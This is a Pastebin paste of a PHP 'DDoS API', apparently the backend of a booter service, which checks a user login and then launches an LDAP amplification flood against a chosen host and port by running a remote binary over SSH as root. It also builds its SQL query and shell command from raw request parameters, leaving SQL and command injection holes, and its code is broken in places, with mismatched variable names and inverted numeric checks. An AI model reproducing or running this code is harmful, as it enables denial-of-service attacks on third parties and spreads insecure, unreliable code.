Advertisement
Guest User

DDos PhP Api

a guest
Mar 30th, 2018
1,496
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. <?php
  2.  
  3. include 'includes/config.php';
  4.  
  5. ignore_user_abort(true);
  6. set_time_limit(1000);
  7.  
  8. $host = $_GET['host'];
  9. $port = $_GET['port'];
  10. $time = $_GET['time'];
  11. $method = $_GET['method'];
  12. $username = $_GET['username'];
  13. $password = $_GET['password'];
  14.  
  15. $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  16. $result = $connection->query($sql);
  17.  
  18. if (!$row = $result->fetch_assoc()) {
  19. die('Error: Username or password is incorrect!');
  20. } else {
  21. echo "Username and password exists and are correct!";
  22. }
  23.  
  24. $serverip = "";
  25. $serveruser = "root";
  26. $serverpass = "";
  27.  
  28. $array = array("LDAP");
  29.  
  30. if (!empty($time)){
  31. }else{
  32. die('Error: time is empty!');}
  33. if (!empty($host)){
  34. }else{
  35. die('Error: Host is empty!');}
  36. if (!empty($method)){
  37. }else{
  38. die('Error: Method is empty!');}
  39. if (!empty($username)){
  40. }else{
  41. die('Error: Username is empty!');}
  42. if (!empty($password)){
  43. }else{
  44. die('Error: Password is empty!');}
  45. if (in_array($method, $array)){
  46. }else{
  47. die('Error: The method you requested does not exist!');}
  48. if ($port > 44405){
  49. die('Error: Ports over 44405 do not exist');}
  50. if ($time > 1000){
  51. die('Error: Cannot exceed 1000 seconds!');}
  52. if(ctype_digit($Time)){
  53. die('Error: Time is not in numeric form!');}
  54. if(ctype_digit($Port)){
  55. die('Error: Port is not in numeric form!');}
  56.  
  57. if ($method == "LDAP") { $command = "./ldap $host $port ldap.txt 7 -1 $time"; }
  58.  
  59. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  60. if(!($con = ssh2_connect($server_ip, 22))){
  61. echo "Error: Connection Issue";
  62. } else {
  63. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  64. echo "Error: Login failed, one or more of you're server credentials are incorrect.";
  65. } else {
  66.  
  67. if (!($stream = ssh2_exec($con, $command ))) {
  68. echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  69. } else {
  70. stream_set_blocking($stream, false);
  71. $data = "";
  72. while ($buf = fread($stream,4096)) {
  73. $data .= $buf;
  74. }
  75. echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
  76. fclose($stream);
  77. }
  78. }
  79. }
  80. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement